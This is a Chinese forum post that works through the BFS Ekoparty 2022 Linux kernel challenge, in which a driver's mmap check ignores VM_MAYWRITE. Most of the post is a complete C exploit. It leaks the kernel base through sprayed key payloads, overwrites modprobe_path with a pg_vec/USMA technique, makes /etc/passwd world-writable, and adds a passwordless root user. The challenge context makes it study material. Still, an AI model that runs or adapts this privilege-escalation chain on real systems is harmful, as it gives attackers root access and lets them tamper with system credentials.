首页
社区
课程
招聘
[原创] BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
2024-5-7 18:24 2521

[原创] BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

2024-5-7 18:24
2521

前言

昨天一个师傅给了我一道 linux kernel pwn 题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是 BFS Lab 2022 年的一道招聘题?还有一道 window 利用相关的,但我不太会,这两道题目做出来就可以获得面试资格(:这不禁让我想起学校各大公司的招聘宣讲会,扯了一个晚上结果告诉我们回去网申,乐

这里先简单看下其要求:
在这里插入图片描述
可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核 5.15.0-52-generic (目前 2024 已经不是最新了)的 Ubuntu 22.04 VM 上完成利用,如果在开启 SMAP/SMEP 时可以完成利用则会获得额外的加分

环境搭建

目前我虚拟机的内核版本为 6.5.0,所以这里简单切换下内核版本,这里我选择的版本为 5.15.0-72-generic,主要是不想自己源码编译

其给了模块源码,自己编译安装即可,这里给出脚本:

  • Makefile 如下:
1
2
3
4
5
6
7
8
9
obj-m += blunder.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)
 
all:
    make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
    make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
  • install.sh 如下:
1
2
3
#!/bin/sh
sudo insmod blunder.ko
sudo chmod 666 /dev/blunder

漏洞分析

先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情

正如挑战所描述的那样,其实现了一个 IPC 模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与 SCM_RIGHTS 消息非常相似,发送的其实是底层的 struct file 结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程 A 发送数据 data 到进程 B,此时会把 data 挂在 B 对应 blunder_proc 结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程 B 接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:

说实话,跟 sendmsg 系统调用传递 SCM_RIGHTS 辅助消息的底层处理非常像(:可以说是一个阉割版

在这里插入图片描述
这里解释一些结构体:

  • struct blunder_device:总的管理结构,每个进程的 blunder_proc 会被维护成一颗红黑树,其中 blunder_device.procs 就是 RBT 的根
    • context_manager 没啥用(:代码中没啥实现相关操作
1
2
3
4
5
6
// 全局管理结构
struct blunder_device {
    spinlock_t lock;
    struct rb_root procs;
    struct blunder_proc *context_manager;
};
  • struct blunder_proc:每一个打开 /dev/blunder 的进程都会维护一个,其保存在 fileprivate_data
    • struct blunder_alloc alloc 数据缓冲区管理结构,其他进程发送的数据会被保存在里面
    • struct list_head messages 是接收队列,当其他进程给该进程发送消息时,消息会被暂时保存在这里
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
 * @refcount: number of references for this object.
 * @rb_node : links procs in blunder_device.
 * @alloc: the allocator for incoming messages
 * @handles: rb-tree of handles to other blunder_proc.
 * @messages: list of IPC messages to be delivered to this proc
 */
 // 每个进程维护一个
struct blunder_proc {
    struct kref refcount;
    spinlock_t lock;
    int pid;
    int dead;
    struct rb_node rb_node;     // 与 blunder_device 连接成 RBT
    struct blunder_alloc alloc; // 数据缓冲区管理结构
    struct list_head messages;  // 接收队列
};
  • struct blunder_alloc:缓冲区管理结构
    • mapping 指向缓冲区
    • user_buffer_offset:上面说了,内核缓冲区会被映射到用户空间,user_buffer_offset 表示的就是内核缓冲区的起始地址到被映射到用户空间地址的偏移
    • buffers:待接收数据块链表
1
2
3
4
5
6
7
8
9
10
11
12
13
/*
 * @mapping: kernel mapping where IPC messages will be received.
 * @mapping_size: size of the mapping.
 * @buffers: list of `blunder_buffer` allocations.
 * @user_buffer_offset: distance between userspace buffer and mapping
 */
struct blunder_alloc {
    spinlock_t lock;
    void *mapping;
    size_t mapping_size;
    ptrdiff_t user_buffer_offset;
    struct list_head buffers;
};
  • struct blunder_buffer 待接收数据会以如下结构进行保存
1
2
3
4
5
6
7
8
struct blunder_buffer {
    struct list_head buffers_node;
    atomic_t free;
    size_t buffer_size; // buffer 空间的大小
    size_t data_size;   // 实际存储数据的大小
    size_t offsets_size;
    unsigned char data[0];
};
  • struct blunder_message 被挂到接收队列链表的结构
1
2
3
4
5
6
7
8
struct blunder_message {
    struct list_head entry;
    int opcode;
    struct blunder_proc *from; // --> pid??
    struct blunder_buffer *buffer;
    size_t num_files;
    struct file **files;
};
  • struct blunder_user_message 用户空间传入结构
1
2
3
4
5
6
7
8
9
10
struct blunder_user_message {
    int handle;  // pid
    int opcode;
    void *data;  // 要发送/接收数据的指针
    size_t data_size; // 要发送/接收数据的大小
    size_t *offsets;
    size_t offsets_size;
    int *fds;   // fds[num_fds]
    size_t num_fds;
};

对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:

1
2
3
4
5
6
7
8
static int blunder_mmap(struct file *filp, struct vm_area_struct *vma) {
......
    // sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限
    // 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWN
    if (sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {
        goto out;
    
......

这里得配合作者给的提示

主要还是我太菜了,一开始并没觉得有啥问题

在这里插入图片描述
通过作者给的提示可以知道这里虽然检查了 VM_WRITE,但是并没有检查 VM_MAYWRITE,也就是说如果映射时如果带有 VM_MAYWRITE 标志则在后面可以利用 mprotect 赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下 mmap 源码:
在这里插入图片描述
可以发现对于使用 O_RDWR 打开的文件,在进行文件映射时,会默认加上 VM_MAYWRITE 标志,所以整个漏洞就很清晰了:

  • 使用 O_RDWR 打开驱动文件
  • 只使用 PROT_READ 进行 mmap 映射,此时可以通过检查
  • 使用 mprotect 修改被映射区域的权限为可读可写

漏洞利用

这里 mmap 最小的映射大小就是 0x1000,所以对应到内核就是 kmalloc-4k,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:
在这里插入图片描述
最开始我想的是通过修改 buffer_size 去实现越界写,但是发现我的环境开启了 Hardened usercopy,但是这里还是有办法的,那就是在末尾伪造一个 struct blunder_buffer header,这里在进行写入时就不存在跨页了

所以这里我们获得了一个比较强大的原语:

  • kmalloc-4k 堆溢出 【下溢】,并且溢出内容可控

按理说利用就变得简单了,但是我的环境又存在 cg 隔离,导致常用的适配大对象的结构体 pipe_buffer/msg_msg 都不适用,而且这里并不好利用 cross cache 攻击,因为 kmalloc-4kpageperslab 为 8,并且这里的溢出只能是相邻溢出,并且由于 Hardened usercopy 保护,这里最多溢出 0xfd0,所以我们得利用 cross cache 形成如下堆布局才行:
在这里插入图片描述
由于笔者对 cross cache 攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在 GFP_KERNEL 分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod 泄漏 kbase + pgvUSMA 篡改 modprobe_path

这里比较 niceubumodprobe_path 相关保护似乎是关了的,当然没关也无所谓,USMA 劫持 setresuid 相关底层函数也行

  • 所以这里先堆喷形成如下布局:
    在这里插入图片描述

  • 然后利用越界写修改 user_key_payload1datalen 从而实现越界读取 user_free_payload_rcu 从而泄漏 kbase

  • 最后在释放掉 user_key_payload1,然后申请 pgv 占据该对象,此时就可以利用越界写修改相关地址为 modprobe_path 即可完成 USMA 劫持 modprobe_path

最后 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
  
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
 
 
void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}
 
void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
 
void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
 
void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
 
/* root checker and shell poper */
void get_root_shell(void)
{
        system("echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo '\xff\xff\xff\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
    system("echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd");
    system("su hacker");
    exit(EXIT_SUCCESS);
}
 
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
 
/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
 
#define IOCTL_BLUNDER_SET_CTX_MGR   _IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG      _IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG      _IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF      _IOWR('s', 4, void *)
 
struct blunder_user_message {
    int handle;
    int opcode;
    void *data;
    size_t data_size;
    size_t *offsets;
    size_t offsets_size;
    int *fds;
    size_t num_fds;
};
 
void set_ctx(int fd) {
    ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}
 
void send_msg(int fd, int topid, void* data, size_t data_size, int* fds, size_t num_fds) {
    struct blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };
    ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}
 
void recv_msg(int fd, int* fds, size_t num_fds) {
    struct blunder_user_message n = { .fds=fds, .num_fds=num_fds };
    ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}
 
void free_buf(int fd, unsigned long arg) {
    ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}
 
int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}
 
int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
 
int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
 
int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
 
int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
 
void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;
 
    if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
        err_exit("FAILED to create a new namespace");
 
    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);
 
    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
 
    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}
 
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
 
void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
    
    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;
 
    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}
 
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) puts("socket(AF_PACKET)"), exit(-1);
     
    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
 
    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;
 
    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
     
    return s;
}
 
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}
 
#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int main(int argc, char** argv, char** envp)
{
    bind_core(0);  
    int pipe_fd[2];
    pipe(pipe_fd);
    pid_t pid = fork();
    if (!pid) {
        unshare_setup();
        char* mmap_addr;
        int key_id[KEY_NUMS];
        char desc[0x10] = { 0 };
        char buf[0x10000] = { 0 };
        int fds[MAX_FDS] = { 0 };
        uint64_t kheap = 0;
        uint64_t khead = 0;
        uint64_t kbase = 0;
        uint64_t koffset = 0;
        uint64_t modprobe_path = 0x1e8bb00;
        int evil_key = -1;
        int res, flag;
        int pid = getpid();
        int fd = open("/dev/blunder", O_RDWR);
        if (fd < 0) err_exit("open /dev/blunder");
 
        for (int i = 0; i < KEY_NUMS / 2; i++) {
            sprintf(desc, "%s%d", "XiaozaYa", i);
            key_id[i] = key_alloc(desc, buf, 2032);
        }
 
        mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
        if (mmap_addr == MAP_FAILED) err_exit("mmap");
 
 
        for (int i = KEY_NUMS / 2; i < KEY_NUMS; i++) {
            sprintf(desc, "%s%d", "XiaozaYa", i);
            key_id[i] = key_alloc(desc, buf, 2032);
        }
 
        printf("[+] mmap_addr: %#llx\n", mmap_addr);
        if (mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit("mprotect");
     
        send_msg(fd, pid, buf, 0x10, NULL, 0);
 
        kheap = *(uint64_t*)(mmap_addr) - 0x40;
        khead = *(uint64_t*)(mmap_addr + 8);
        printf("[+] kheap: %#llx\n", kheap);
        printf("[+] khead: %#llx\n", khead);
 
        *(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
        *(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
        *(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
        *(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
        *(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;
        *(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
        binary_dump("first  buf", mmap_addr, 0x30);
        binary_dump("second buf", mmap_addr+0x1000-0x30, 0x30);
 
        *(uint64_t*)(buf + 16) = 0xfff0;
        send_msg(fd, pid, buf, 0x20, NULL, 0);
        binary_dump("use buf", mmap_addr+0x1000-0x30, 0x30);   
 
        memset(buf, 0, sizeof(buf));
 
        for (int i = 0; i < KEY_NUMS; i++) {
            res = key_read(key_id[i], buf, 0xfff0);
            if (res > 0x1000) {
                printf("[+] key overread data len: %#lx\n", res);      
                evil_key = i;
                break;
            }
        }  
 
        if (evil_key == -1) {
            write(pipe_fd[1], "N", 1);
            err_exit("not hit evil_key");
        }
 
        printf("[+] evil_key: %d\n", evil_key);
 
        for (int i = 0; i < KEY_NUMS; i++) {
            if (i != evil_key) {
                key_revoke(key_id[i]);
            }
        }
 
        res = key_read(key_id[evil_key], buf, res);
        int hit_count = 0;
        for (int i = 0; i < res / 8; i++) {
            uint64_t val = *(uint64_t*)(buf + i*8);
            if ((val&0xfff) == 0xa60) {
                if (kbase == 0) {
                    printf("[+] user_free_payload_rcu: %#llx\n", val);
                    kbase = val - 0x52ba60;
                    koffset = kbase - 0xffffffff81000000;
                }
                hit_count++;
            //break;
            }
        }
 
        if (kbase == 0) {
            write(pipe_fd[1], "N", 1);
            err_exit("Failed to leak kbase");
        }
 
        printf("[+] hit count: %d\n", hit_count);
        printf("[+] kbase: %#llx\n", kbase);
        printf("[+] koffset: %#llx\n", koffset);
 
        modprobe_path += kbase;
        printf("[+] modprobe_path: %#llx\n", modprobe_path);
        key_revoke(key_id[evil_key]);
 
//      key_unlink(key_id[evil_key]);
         
        int packet_fd;
        char* page;    
        #define TRY_NUMS 0x20
        int try_keys[TRY_NUMS];
        int index = 0;
        memset(desc, 0, sizeof(desc));
        for (int i = 0; i < 257; i++) {
            *(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);
        }  
        for (int i = 0; i < TRY_NUMS; i++) {
            printf("[+] try %d/32\n", i);
            packet_fd = pagealloc_pad(257, 0x1000);
            if (packet_fd < 0) {
                write(pipe_fd[1], "N", 1);
                perror("pagealloc_pad");
                exit(-1);  
            }
 
            *(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
            *(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
            *(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
            *(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
            *(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;
            *(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
            send_msg(fd, pid, buf, 257*8, NULL, 0);
         
            page = (char*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
            if (page == MAP_FAILED) {
                write(pipe_fd[1], "N", 1);
                printf("[x] packet_fd: %d\n", packet_fd);
                perror("mmap for USMA");
                exit(-1);
            }
 
            page[strlen("/sbin/modprobe")] = '\x00';
            printf("[s] hit string: %s\n", &page[modprobe_path&0xfff]);
            if (!strcmp(&page[modprobe_path&0xfff], "/sbin/modprobe")) {
                strcpy(&page[modprobe_path&0xfff], "/tmp/x");
                write(pipe_fd[1], "Y", 1);
                goto OUT;      
            }
             
            munmap(page, 0x1000*257);
            close(packet_fd);
             
            sprintf(desc, "%s%d", "Try", index);
            try_keys[index++] = key_alloc(desc, buf, 2032);
        }
 
        write(pipe_fd[1], "N", 1);
    OUT:
        puts("[+] Child Porcess Over");
        exit(0);
    } else if (pid < 0) {
        err_exit("fork");
     
    } else {
     
        char buf[1];
        read(pipe_fd[0], buf, 1);
//      wait(NULL);
        sleep(2);
        if (buf[0] == 'Y') {
            get_root_shell();
        }
        puts("[+] Parent Porcess Over");
        exit(0);
    }
 
/*
    // just test
       fds[0] = open("./test", O_RDWR);
    send_msg(fd, pid, buf, 0x10, fds, 1);
    binary_dump("MMAP DATA", mmap_addr, 0x100);
    send_msg(fd, pid, buf, 0x10, fds, 1);
    binary_dump("MMAP DATA", mmap_addr, 0x100);
    recv_msg(fd, &fds[1], 1);
    printf("%d\n", fds[1]);
    binary_dump("MMAP DATA", mmap_addr, 0x100);
*/
 
        return 0;
}

最后效果如下:堆喷策略比较简单,所以成功率不算太高

总结

这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么

相关注释源码和 exp 可在笔者的 github下载


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2024-5-8 09:00 被XiaozaYa编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回